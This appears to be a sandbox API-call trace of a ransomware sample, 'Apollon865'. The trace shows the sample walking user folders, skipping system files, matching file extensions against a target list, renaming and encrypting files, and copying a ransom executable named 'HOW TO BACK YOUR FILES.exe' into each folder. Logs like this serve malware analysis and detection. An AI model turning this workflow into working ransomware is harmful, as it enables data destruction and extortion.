	[0050.510] lstrlenW (lpString="usr") returned 3
	[0050.510] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0050.510] lstrlenW (lpString="v12") returned 3
	[0050.510] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0050.510] lstrlenW (lpString="vis") returned 3
	[0050.510] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0050.510] lstrlenW (lpString="vpd") returned 3
	[0050.510] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0050.510] lstrlenW (lpString="vvv") returned 3
	[0050.510] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0050.510] lstrlenW (lpString="wdb") returned 3
	[0050.510] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0050.510] lstrlenW (lpString="wmdb") returned 4
	[0050.510] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0050.510] lstrlenW (lpString="wrk") returned 3
	[0050.510] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0050.510] lstrlenW (lpString="xdb") returned 3
	[0050.510] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0050.510] lstrlenW (lpString="xld") returned 3
	[0050.510] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0050.510] lstrlenW (lpString="xmlff") returned 5
	[0050.510] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0050.510] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Saved Games\\desktop.ini.Apollon865") returned 51
	[0050.510] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Saved Games\\desktop.ini" (normalized: "c:\\users\\default\\saved games\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Saved Games\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\saved games\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0050.511] CreateFileW (lpFileName="C:\\Users\\Default\\Saved Games\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\saved games\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0050.511] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=282) returned 1
	[0050.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0050.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0050.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0050.514] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0050.515] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0050.515] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0050.516] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x420, lpName=0x0) returned 0x118
	[0050.624] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x420) returned 0x100000
	[0050.671] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0050.672] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0050.672] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0050.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0050.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0050.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0050.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0050.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0050.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0050.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0050.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0050.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0050.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0050.672] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0050.672] CloseHandle (hObject=0x118) returned 1
	[0050.672] CloseHandle (hObject=0xc0) returned 1
	[0050.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0050.673] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0050.673] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0050.673] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dfc1b70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dfc1b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.673] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.673] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dfc1b70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dfc1b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0050.673] FindClose (in: hFindFile=0x5ca550 | out: hFindFile=0x5ca550) returned 1
	[0050.673] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fd90
	[0050.673] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Recent", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent"
	[0050.673] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7e28 | out: hHeap=0x580000) returned 1
	[0050.673] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0050.673] lstrlenW (lpString="C:\\Users\\Default\\Recent") returned 23
	[0050.673] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent"
	[0050.673] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.673] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\recent\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.674] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.674] GetLastError () returned 0x20
	[0050.674] Sleep (dwMilliseconds=0xc8) 
	[0050.947] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.947] GetLastError () returned 0x20
	[0050.947] Sleep (dwMilliseconds=0xc8) 
	[0051.216] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.216] GetLastError () returned 0x0
	[0051.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.216] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.216] CloseHandle (hObject=0x14c) returned 1
	[0051.216] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.216] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.216] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dfc1b70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dfc1b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0051.216] GetLastError () returned 0x5
	[0051.216] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Recent\\* FindFirstFile error 5\r\n") returned 57
	[0051.216] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Recent\\* FindFirstFile error 5\r\n") returned 57
	[0051.216] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.217] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1a9b
	[0051.217] WriteFile (in: hFile=0x14c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x39, lpOverlapped=0x0) returned 1
	[0051.217] CloseHandle (hObject=0x14c) returned 1
	[0051.217] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fd70
	[0051.217] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\PrintHood", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood"
	[0051.217] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca450 | out: hHeap=0x580000) returned 1
	[0051.217] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0051.217] lstrlenW (lpString="C:\\Users\\Default\\PrintHood") returned 26
	[0051.217] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood"
	[0051.217] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.217] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.218] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.218] GetLastError () returned 0x0
	[0051.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.218] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.218] CloseHandle (hObject=0x14c) returned 1
	[0051.218] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.218] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.218] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dfc1b70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dfc1b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0051.218] GetLastError () returned 0x5
	[0051.218] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\PrintHood\\* FindFirstFile error 5\r\n") returned 60
	[0051.218] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\PrintHood\\* FindFirstFile error 5\r\n") returned 60
	[0051.218] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.219] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1ad4
	[0051.219] WriteFile (in: hFile=0x14c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x3c, lpOverlapped=0x0) returned 1
	[0051.219] CloseHandle (hObject=0x14c) returned 1
	[0051.219] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fd50
	[0051.219] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures"
	[0051.219] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca150 | out: hHeap=0x580000) returned 1
	[0051.219] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0051.219] lstrlenW (lpString="C:\\Users\\Default\\Pictures") returned 25
	[0051.219] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures"
	[0051.219] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.219] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.219] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.220] GetLastError () returned 0x0
	[0051.220] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.220] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.220] CloseHandle (hObject=0x14c) returned 1
	[0051.220] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.220] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.220] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e033f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e033f90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0051.220] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.220] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.220] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.220] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e033f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e033f90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.220] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.220] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.220] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.220] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.220] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0051.220] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.220] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0051.220] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0051.220] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0051.220] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0051.220] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0051.221] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0051.221] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0051.221] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0051.221] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0051.221] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0051.221] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0051.221] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0051.221] lstrlenW (lpString="desktop.ini") returned 11
	[0051.221] lstrlenW (lpString="C:\\Users\\Default\\Pictures\\*") returned 27
	[0051.221] lstrcpyW (in: lpString1=0x119e63c, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0051.221] lstrlenW (lpString="desktop.ini") returned 11
	[0051.221] lstrlenW (lpString="Apollon865") returned 10
	[0051.221] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0051.221] lstrlenW (lpString=".dll") returned 4
	[0051.221] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0051.221] lstrlenW (lpString=".lnk") returned 4
	[0051.221] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0051.221] lstrlenW (lpString=".ini") returned 4
	[0051.221] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0051.221] lstrlenW (lpString=".sys") returned 4
	[0051.221] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0051.221] lstrlenW (lpString="desktop.ini") returned 11
	[0051.221] lstrlenW (lpString="bak") returned 3
	[0051.221] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0051.221] lstrlenW (lpString="ba_") returned 3
	[0051.221] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0051.221] lstrlenW (lpString="dbb") returned 3
	[0051.221] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0051.221] lstrlenW (lpString="vmdk") returned 4
	[0051.221] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0051.221] lstrlenW (lpString="rar") returned 3
	[0051.221] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0051.221] lstrlenW (lpString="zip") returned 3
	[0051.222] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0051.222] lstrlenW (lpString="tgz") returned 3
	[0051.222] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0051.222] lstrlenW (lpString="vbox") returned 4
	[0051.222] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0051.222] lstrlenW (lpString="vdi") returned 3
	[0051.222] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0051.222] lstrlenW (lpString="vhd") returned 3
	[0051.222] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0051.222] lstrlenW (lpString="vhdx") returned 4
	[0051.222] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0051.222] lstrlenW (lpString="avhd") returned 4
	[0051.222] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0051.222] lstrlenW (lpString="db") returned 2
	[0051.222] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0051.222] lstrlenW (lpString="db2") returned 3
	[0051.222] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0051.222] lstrlenW (lpString="db3") returned 3
	[0051.222] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0051.222] lstrlenW (lpString="dbf") returned 3
	[0051.222] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0051.222] lstrlenW (lpString="mdf") returned 3
	[0051.222] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0051.222] lstrlenW (lpString="mdb") returned 3
	[0051.222] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0051.222] lstrlenW (lpString="sql") returned 3
	[0051.222] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0051.222] lstrlenW (lpString="sqlite") returned 6
	[0051.222] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0051.222] lstrlenW (lpString="sqlite3") returned 7
	[0051.222] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0051.222] lstrlenW (lpString="sqlitedb") returned 8
	[0051.222] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0051.223] lstrlenW (lpString="xml") returned 3
	[0051.223] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0051.223] lstrlenW (lpString="$er") returned 3
	[0051.223] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0051.223] lstrlenW (lpString="4dd") returned 3
	[0051.223] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0051.223] lstrlenW (lpString="4dl") returned 3
	[0051.223] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0051.223] lstrlenW (lpString="^^^") returned 3
	[0051.223] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0051.223] lstrlenW (lpString="abs") returned 3
	[0051.223] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0051.223] lstrlenW (lpString="abx") returned 3
	[0051.223] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0051.223] lstrlenW (lpString="accdb") returned 5
	[0051.223] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0051.223] lstrlenW (lpString="accdc") returned 5
	[0051.223] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0051.223] lstrlenW (lpString="accde") returned 5
	[0051.223] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0051.223] lstrlenW (lpString="accdr") returned 5
	[0051.223] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0051.223] lstrlenW (lpString="accdt") returned 5
	[0051.223] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0051.223] lstrlenW (lpString="accdw") returned 5
	[0051.223] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0051.223] lstrlenW (lpString="accft") returned 5
	[0051.223] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0051.223] lstrlenW (lpString="adb") returned 3
	[0051.223] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0051.223] lstrlenW (lpString="adb") returned 3
	[0051.223] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0051.223] lstrlenW (lpString="ade") returned 3
	[0051.223] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0051.224] lstrlenW (lpString="adf") returned 3
	[0051.224] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0051.224] lstrlenW (lpString="adn") returned 3
